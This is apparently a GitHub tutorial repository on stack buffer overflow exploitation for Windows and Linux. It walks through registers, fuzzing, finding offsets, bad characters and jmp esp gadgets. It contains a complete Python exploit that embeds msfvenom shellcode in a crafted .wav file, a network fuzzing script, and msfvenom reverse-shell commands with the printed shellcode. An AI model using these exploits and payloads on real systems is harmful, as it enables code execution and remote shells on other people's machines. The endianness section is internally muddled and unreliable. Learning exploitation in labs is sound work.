disturbante/stack-overflow-basics

Introduction

To better understand how we can perform such exploits we need to first know how programms get executed.
In brief the CPU execute what is machine-code it is very low level instruction that we rappresent with assembly.
The cpu has a standard routine in which performs its operation:

• FETCH (the machine instruction address is read from IAR(Instruction Address Register) and loaded to IR(Intruction Register))
• Decode (The decoder convert the instruction in a cpu language ready to be oprated on)
• Fetch Operand (Load eventual other data needed for processing)
• Execute (The instruction is executed, for example an ALU operation)
• Update Instruction Pointer (Eventually the instrunction pointer is incremented with the length of the executed instruction, that means the programm pass to next instruction)

But to perform all these operations the CPU need temporary places to store information that need to be read write and executed.

Registers

To store the temprary data needed for the operations CPUs uses registers, there are different types of register based on its need:

• Data Registers
• Pointer Registers
• Stack Frames
• Index Registers

Data-Registers

32-bits	64-bits	Description
EAX	RAX	Accumulator register used for storing small input/output data and basic arithmetic
EBX	RBX	It is used as base for addresses, (an address is identified by BX + offset: mov rax, [rbx + rdi * 8])
ECX	RCX	Counter register used to count loop and instruction rotation
EDX	RDX	Data register used to store large input/output data and advanced arithmetic (x and /)

Pointer Registers

32-bits	64-bits	Description
EIP	RIP	Instruction Pointer, store the offset address of the next instruction to be executed
ESP	RSP	Stack Pointer, store the address of the top of the stack, important for baisc buffer overflow
EBP	RBP	Base Pointer (or Frame Pointer), store the address of base of the stack

Stack Frames

As the stack "grows" to lower addresses it is logically divided in region named Stack Frames, in fact for every function a stack space is initialized.
To do so in practice we first need to do the following steps named Prologue:

Pologue

• Store previous EBP address (we will restore the address once the function code ends)
• Create a Stack Frame (with this instruction: mov ebp, esp)
• Allocate some space on the stack by adding the sum of the space of the function's operation (sub esp,0x<operation_length>)

Example for main:

Epilogue

Once the function has ended its code is time to return to the previous stack frame, to do so we nee to do the following steps named Epilogue

• Leave the current Stack Frame (leave)
• Eventually return (ret)

Example for main:

Index Registers

32-bits	64-bits	Description
ESI	RSI	It is the source index used when handling string operations, store the source index of a string
EDI	RDI	It is the destionation index, it stores the index destination index of a string

Endianness

In order to execute and read data we need to have a convention for interpreting that data.
For this reason different technlogies uses different conventions: such as Little-Endian and Big-Endian.
To understand better we can see an example with an address:

• Address (0x): 0xffaa5511
• Address (\x): \xff\xaa\x55\x11

Convention	Byte ff	Byte aa	Byte 55	Byte 11
Big Endian	AA	BB	CC	DD
Little Endian	DD	CC	BB	AA

So the rappresentation would be:

• Little-Endian: \xff\xaa\xcc\dd
• Big-Endian: \xdd\xcc\xaa\xff

Exploit Based on OS:

Windows

Linux

Windows-Stack-overflow-basics

• Lab Setup

• Identify the vulnerable field

• Bad chars detection

• Finding ret instruction

• Payload Creation

• Remote Exploitation

Win Lab Setup

For the lab i will use a windows 10 machine with:

Decompiler and Debuger

Cutter

Debugger and Patcher

x64dbg We just need to download from the site and put it in

C:\Program Files\x64dbg\

Buffer Overflow Extension

ERC To install it we just need to download the latest .zip folder from the release page and extract in:

C:\Program Files\x64dbg\x32\plugins\

!BE SURE TO DOWNLOAD THE RIGHT VERSION FOR UR DEBUGGER: _32 for x86 and _64 for x64! Once we have done that we can set the output directory in cmd:

ERC --config SetWorkingDirectory C:\Users\%USERNAME%\Desktop\

Now we are ready to do some Buffer Overflow:

Win Reconnaissance

To exploit a Buffer-Overflow vulnerability we need to find one first.
To do so we need to start our .exe and attach the process in x32dbg:
In the top left corner of the debugger just click file and the attatch option with the earth icon and this will pop out:

after attaching the process we need to fuzz all the input fields that the program expose.
If a program exposes to many fields just go for the ones that expect the smaller input such as

• Date
• Name
• selection fileds (y\n) (m\f)
• File inputs

To fuzz those Fields i will send the most basic payload generated like this:

python3 -c "print('A'*1000)" 

This is for creating file payloads:

python3 -c "print('A'*1000, file=open('<file_name>', 'w'))" 

Once we have sent the data if the program crashes we need to check the $EIP register.

If this register is overwrritten with 4141414141 we succesfully find a possible stack overflow field.

In fact by overwriting the $EIP (the 32 bit version of the instruction pointer) we can controll what the program will execute next.

This register keep track of the last instruction that was called so the program can return the value and continue the exection from the address pointed from the $EIP.

Although we overwritten the $EIP we don't know how many chars we sent to trigger only the $EIP.

In fact in order to execute shell code with a Stack-Overflow we need to controll the address that the $EIP will be overwritten with.

To do so we will use a pattern to fuzz the input fields. We can create them in many ways like msf:

msf-pattern_create -l 1000

or with ERC in the x32dbg terminal

ERC --pattern c 1000

To write those patterns to a file we can write a bunch of python code:

payload = bytes(<erc_output>,"utf-8")
with open('<file_name>', 'wb') as f:
	f.write(payload)

We now have our file or text payload to fuzz the input. Once we overwritten the $EIP we will have a random value in the $EIP.

To understand what is the $EIP offset we need search the value that we got inside the $EIP.

For example:

in this case the $EIP is rewritten with 31684630

we need to search this number in the pattern that we created:

msf-pattern_offset -q 31684630

output:

[*] Exact match at offset 4112

If we want to search in ERC we can convert those bytes into ascii:

hex_string = "<eip_bytes>"  
byte_string = bytes.fromhex(hex_string)  
ascii_string = byte_string.decode("ASCII")  
print(ascii_string)  

output:

1hF0

and then search them with:

ERC --pattern o 1hF0

Now that we can controll the exact value of the $EIP we need to set it to an arbitrary address like this:

def eip_control():
    offset = 4112  #insert the offset
    buffer = b"A"*offset
    eip = b"B"*4  #chose the address that will be written in $EIP
    payload = buffer + eip
    
    with open('control.wav', 'wb') as f:
        f.write(payload) 	#create a file handle and write the payload

eip_control()	#call the function

But before we set the $EIP address there is still one thing to check:

Win Bad Chars

When we inject the program field, our payload must avoid control chars; in fact they are non printable chars that tells the program what to do (like a string or file termination)

To test what chars we need to avoid we can create a test payload like this:

in ERC we need to run:

ERC --bytearray

output:

the command will also save theme in the working dir(IMPORTANT FOR LATER!).

Once we have that we can craft our text or file payload:

def bad_chars():
    all_chars = bytes([<byte_array>]) #add the byte array that we got from the ERC command
    
    offset = 4112 	#calculated offset
    buffer = b"A"*offset
    eip = b"B"*4 	#new eip address
    payload = buffer + eip + all_chars 	#add the bad chars to the payload
    
    with open('chars.wav', 'wb') as f:
        f.write(payload)	#write everything to a file or just print it

bad_chars()

Once we have created the payload and the programm is crashed we should manually check the stack if some of the char is no longer present inside it;

But luckily for us ERC will do the dirty job for us.

We just need to find the address of the stack pointer($ESP) and run:

ERC --compare <$ESP_address> C:\Users\%USERNAME%\Desktop\ByteArray_1.bin

If the output is something like this:

The 0x00 very likely cutted the bytes after it so we need to test the payload without it.

To generate the test payload without bad chars we need to do:

ERC --bytearray -bytes 0x00 #add or use ur bad-chars

and repeat the steps above to check.

Win Finding ret instruction

Now we can overwrite the $EIP with an address of our choice, but how can we benefit from that?

how can we execute code?

Jumping to the stack

To execute code, we will put code on-to the stack and map the $EIP to the $ESP this means that the next code that will be executed is the stack content (written by us).

!!be careful!!

Modern systems and programs are compiled with the NX bit on the stack or the DEP memory protection in Windows, which prevents executing any code written on the stack

With that said we can try the exploit for the sake of learning.

Instead of overwriting the $EIP with $ESP (because contains 0x00) we can also write the instruction

jmp esp

that will do the same.

To do so we need to either locate:

• the program .exe file
• the program .dll library
• any windows .dll that is imported

to find all the modules we can run:

ERC --ModuleInfo

Is better to search for a library that has all the memory protection set to False; also it would be better to chose a library related to the executable as we are pretty shure that there will be no version problems. Once we have chosen the library in the symbols section we can double click on the library to see the instructions.

Now we can search with Ctrl + f the jmp esp instruction (also the call esp work for us)

We can also search for pattern that will result the same as jmp esp like(instruction followed by machine code translation in online assembler or msf-nasm_shell):

• PUSH ESP; RET (54C3)
• JMP ESP (FFE4)

With Ctrl + b we can search for hex patterns

!!THE MOST IMPORTANT PART IS THAT THE INSTRUCTION ADDRESS MUST NOT CONTAIN ANY BAD CHARS!!

Payload creation

This is the most important part where we craft our shell code to put on top-of the stack.

To craft our payload i will use msfvenom on a kali machine, here is a little payload example:

msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00'

output:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1100 bytes
buf =  b""
buf += b"\xbe\x3b\x8d\x37\xd4\xdb\xcf\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x31\x31\x77\x13\x83\xef\xfc\x03\x77"
buf += b"\x34\x6f\xc2\x28\xa2\xed\x2d\xd1\x32\x92\xa4\x34"
buf += b"\x03\x92\xd3\x3d\x33\x22\x97\x10\xbf\xc9\xf5\x80"
buf += b"\x34\xbf\xd1\xa7\xfd\x0a\x04\x89\xfe\x27\x74\x88"
buf += b"\x7c\x3a\xa9\x6a\xbd\xf5\xbc\x6b\xfa\xe8\x4d\x39"
buf += b"\x53\x66\xe3\xae\xd0\x32\x38\x44\xaa\xd3\x38\xb9"
buf += b"\x7a\xd5\x69\x6c\xf1\x8c\xa9\x8e\xd6\xa4\xe3\x88"
buf += b"\x3b\x80\xba\x23\x8f\x7e\x3d\xe2\xde\x7f\x92\xcb"
buf += b"\xef\x8d\xea\x0c\xd7\x6d\x99\x64\x24\x13\x9a\xb2"
buf += b"\x57\xcf\x2f\x21\xff\x84\x88\x8d\xfe\x49\x4e\x45"
buf += b"\x0c\x25\x04\x01\x10\xb8\xc9\x39\x2c\x31\xec\xed"
buf += b"\xa5\x01\xcb\x29\xee\xd2\x72\x6b\x4a\xb4\x8b\x6b"
buf += b"\x35\x69\x2e\xe7\xdb\x7e\x43\xaa\xb1\x81\xd1\xd0"
buf += b"\xf7\x82\xe9\xda\xa7\xea\xd8\x51\x28\x6c\xe5\xb3"
buf += b"\x0d\x82\xaf\x9e\x27\x0b\x76\x4b\x7a\x56\x89\xa1"
buf += b"\xb8\x6f\x0a\x40\x40\x94\x12\x21\x45\xd0\x94\xd9"
buf += b"\x37\x49\x71\xde\xe4\x6a\x50\xbd\x6b\xf9\x38\x6c"
buf += b"\x0e\x79\xda\x70"

Before sending the payload as it is after the $EIP address we need to add padding due to stack-alignment reasons; usually this padding should be tested as far as the shell code is executed without truncation but if u have plenty of buffer u can add 32 NOP (0x90) instruction and you should be safe pretty much everywhere.

Now we can finally craft our python exploit to create our malicious string or file (to convert the address in little Endian we can use python struct):

from struct import pack

def exploit():
    # msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00' (write the command that generated the payload)
    buf =  b""		#change with your shellcode
	buf += b"\xbe\x3b\x8d\x37\xd4\xdb\xcf\xd9\x74\x24\xf4\x5f"
	buf += b"\x2b\xc9\xb1\x31\x31\x77\x13\x83\xef\xfc\x03\x77"
	buf += b"\x34\x6f\xc2\x28\xa2\xed\x2d\xd1\x32\x92\xa4\x34"
	buf += b"\x03\x92\xd3\x3d\x33\x22\x97\x10\xbf\xc9\xf5\x80"
	buf += b"\x34\xbf\xd1\xa7\xfd\x0a\x04\x89\xfe\x27\x74\x88"
	buf += b"\x7c\x3a\xa9\x6a\xbd\xf5\xbc\x6b\xfa\xe8\x4d\x39"
	buf += b"\x53\x66\xe3\xae\xd0\x32\x38\x44\xaa\xd3\x38\xb9"
	buf += b"\x7a\xd5\x69\x6c\xf1\x8c\xa9\x8e\xd6\xa4\xe3\x88"
	buf += b"\x3b\x80\xba\x23\x8f\x7e\x3d\xe2\xde\x7f\x92\xcb"
	buf += b"\xef\x8d\xea\x0c\xd7\x6d\x99\x64\x24\x13\x9a\xb2"
	buf += b"\x57\xcf\x2f\x21\xff\x84\x88\x8d\xfe\x49\x4e\x45"
	buf += b"\x0c\x25\x04\x01\x10\xb8\xc9\x39\x2c\x31\xec\xed"
	buf += b"\xa5\x01\xcb\x29\xee\xd2\x72\x6b\x4a\xb4\x8b\x6b"
	buf += b"\x35\x69\x2e\xe7\xdb\x7e\x43\xaa\xb1\x81\xd1\xd0"
	buf += b"\xf7\x82\xe9\xda\xa7\xea\xd8\x51\x28\x6c\xe5\xb3"
	buf += b"\x0d\x82\xaf\x9e\x27\x0b\x76\x4b\x7a\x56\x89\xa1"
	buf += b"\xb8\x6f\x0a\x40\x40\x94\x12\x21\x45\xd0\x94\xd9"
	buf += b"\x37\x49\x71\xde\xe4\x6a\x50\xbd\x6b\xf9\x38\x6c"
	buf += b"\x0e\x79\xda\x70"

    offset = 4112	#change with your offset
    buffer = b"A"*offset
    eip = pack('<L', 0x00419D0B)  #change with your jmp esp address
    nop = b"\x90"*32
    payload = buffer + eip + nop + buf

    with open('exploit.wav', 'wb') as f:	#change with your file name or text output
        f.write(payload)
exploit()

Once we have launched the attack we will gain a calc.exe (that we can substitute with a cmd.exe or powershell.exe)

Win Remote exploitation

A buffer overflow attack is much more powerfull if its attack vector is the network.

In fact if we can connect to an opensource application we can also debug the code locally and test for particular input as we did in the FUZZING part.

First we need to identify what port or webserver the service is running on (this is an example of a simple socket on port 8888) and we will try to craft our payload:

import socket
from struct import pack

IP = "127.0.0.1"	#insert ur ip
port = 8888		#ur port

def fuzz():	#define fuzz function
	try:
	    for i in range(0,10000,500):	#send data until the programm crashes
	        buffer = b"A"*i
	        print(f"Fuzzing {i} bytes")
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((IP, port))
			s.send(buffer)
			breakpoint()	#set a preakpoint so we can check when the $EIP got overwritten
			s.close()
	except:
		print("[*]Connection failure")

fuzz() #call fuzz function

Once we have found the right payload size like this (in this case we need to send 1500 bytes):

Now we can craft our payload in the same way that we did above.

So create unique pattern, check where the $eip offset is then search jmp esp and wrote shell code on top of the stack.

Linux-Stack-overflow-basics

• Lab Setup

• Identify the vulnerable field

• Bad chars detection

• Finding ret instruction

• Payload Creation

• Remote Exploitation

Lin Lab Setup

Setting up the lab for linux is gonna be easier because we just need to download progrmm from repositories.

gdb (GEF)

gdb is the gnu linux integrated debugger.
We will use an extension called GEF, there are other around such as pwndbg and peta but personally i prefer GEF.
To install both the debugger and the GEF extension we just nee to run those commands:

sudo apt install gdb

Now that we have the default debugger we can install the GEF extension as the official guide says:

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

!DISCLAIMER!
We are automatically downloading and installing a script from a URL so check EVERY TIME what you are downloading and never blindly trust the source.
!DISCALIMER!

Ghidra

In order to find vulnerable fileds we can use a decompiler, such as ghidra, Ida-free or cutter.
To install it is pretty simple:

sudo apt install ghidra

Once we have it we can run

ghidra

Then just press:

Ctrl + N

Select Non-shared project and eventually Click i to import a file to decompile.

Radare 2

Radare2 is a cmd Linux debugger, it is pretty powerfull but a bit complex to use as a beginner.
To install it we can run:

git clone https://github.com/radareorg/radare2
cd radare2 ; sys/install.sh

Since is not beginner friendly i will not use it much on this repo.
For personal research and study you can find the complete guide and manual on the official site

Lin-Recoinnaissance

As for the windows part (that is primarily gui based) we need to find a field that is injectable.
The most probable fields for linux are pretty much the same as for the Windows ones:

• Date
• Name
• selection fileds (y\n) (m\f)
• File inputs

Vulnerable C func

In addiction (if we could find a local copy of the binary) we can decompile the programm with Ghidra (setup above) and serach for vulnerable C functions such as:

• atoi
• atoll
• atof
• gets
• strcat
• strcpy
• sprintf

We can also FUZZ the fields above and hope in some errors.

Tracing

If we have a local copy of the executable with can run it with basic linux command to check the binary imports of library.
In fact when a programm start, can import a all bunch of libraries either dinamically or statically, more here.
So we can check dynamic calls with:

ltrace ./<bianry_to_run>

Or static function call with:

strace ./<binary_to_run>

Segfault

If we tested all the things above and at least one of them gave a segmentation fault that means that we found a possible attack vector:

So that means we can pass to the next part

Founding Offset

To execute code we first need to find the distance of the Instrunction Pointer from the input function.
Once we have found that we can Cntroll the next instruction address.

By opening the file in GDB we can create a large enough payload to cause a Seg_fault and examinate the registers to check what we have clobbered:

gdb <binary>

to create pattern we can run:

pattern create 2000

output:

We can copy paste the payload.
In my example the input is a positional arg so i need to do:

gdb <binary>
run <payload>

When the programm crashes we can analyze all its registers and see why this happened.
In the 99% of cases the Instruction Pointer is the cause of the crash: if it gets clobbered with garbage data it will likely point to invalid address causing the programm to exit.

We can see that in this example we found the letters that we send in the input field inside the instruction pointer.
This means that we can choose the code to be executed next !! (If there are no additional stack or address protection).
In fact once the programm crashes and we see that either the Stack Pointer or the Instrucion Pointer is being rewritten we need to know how far the Instruction Pointer is from the input function.

From this pic we can see the importance of founding the offset.
To find the exact offset we can just use GDB after we forced the programm to crash:

pattern search $eip

output:

!BE CAREFULL WHEN USING GEF, SOMETHIMES THE OFFSET DOES NOT MATCH THE MSF-pattern!

Lin Controll IP

To make the stack-based buffer overflow significant we need to controll what we are going to execute, otherwise it will be just a DoS attack.
Now that we know the exact distance of the Instruction Pointer from the input function we can rewrite that address sending raw bytes of the address (i will use python3).

def generate_payload(offset):
	eip = b'B' * 4  #for 32 bits
	buffer = b'A' * offset
	payload = buffer + eip
	return payload
off = <offset_found>
p = generate_payload(off)
print(p)

Here it is an example of a controller $eip for a 32 bit executable with 1036 bytes offset:

After the offset we can place whatever address we want.

Shell code length

Once we found out the distance of the stack pointer from the input function we need to know how big our shell code can be.
In fact if we want to take benefit from the buffer overflow we can create either a revshell or interactive shell.
To do that i used msfvenom:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=7777 --platform linux --arch x86 --format c

output:

Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00"
"\x01\x68\x02\x00\x1e\x61\x89\xe1\xb0\x66\x50\x51\x53\xb3"
"\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

this is our payload (with length 68 in my case).
to fill the stack in order to trigger the buffer overflow and execute our payload smoothly we can pad the buffer with NOPS(\x90).

Lin bad chars

If we try to send the payload that we genrated above as it is it will probably fail(depends of input function).
In order to avoid errors when sending shellcodes we need to find the bytes that causes problems with our execution.
To do that we will send every possible byte and we will check which one went trough or got truncated:

def generate_payload(offset):
	eip = b'B' * 4  #for 32 bits
	CHARS= b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
	buffer = b'A' * (offset - len(CHARS))
	payload = buffer + CHARS +eip
	return payload
off = <offset_found>
p = generate_payload(off)
print(p)

Once we sent our payload we can check in hdb which characters aren't in the stack:

in this picture we can see that \x00 is a bad char because the programm gave a different output from the previous one.
Once we repeated this process for pretty much all the chars (the most common are: \x00 \x0A \x0D \xFF)

Lin Payload Creation

Once we have:

• Vulnerable Field
• Offset
• Bad Chars
• Basic Payload

We just need to fine tune our payload with the badchars that we found.
to do that we will use msfvenom with a built in option that will avoid badchars (the payload will be a bit longer):

msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>

By doing so we will create a shell code that has no badchars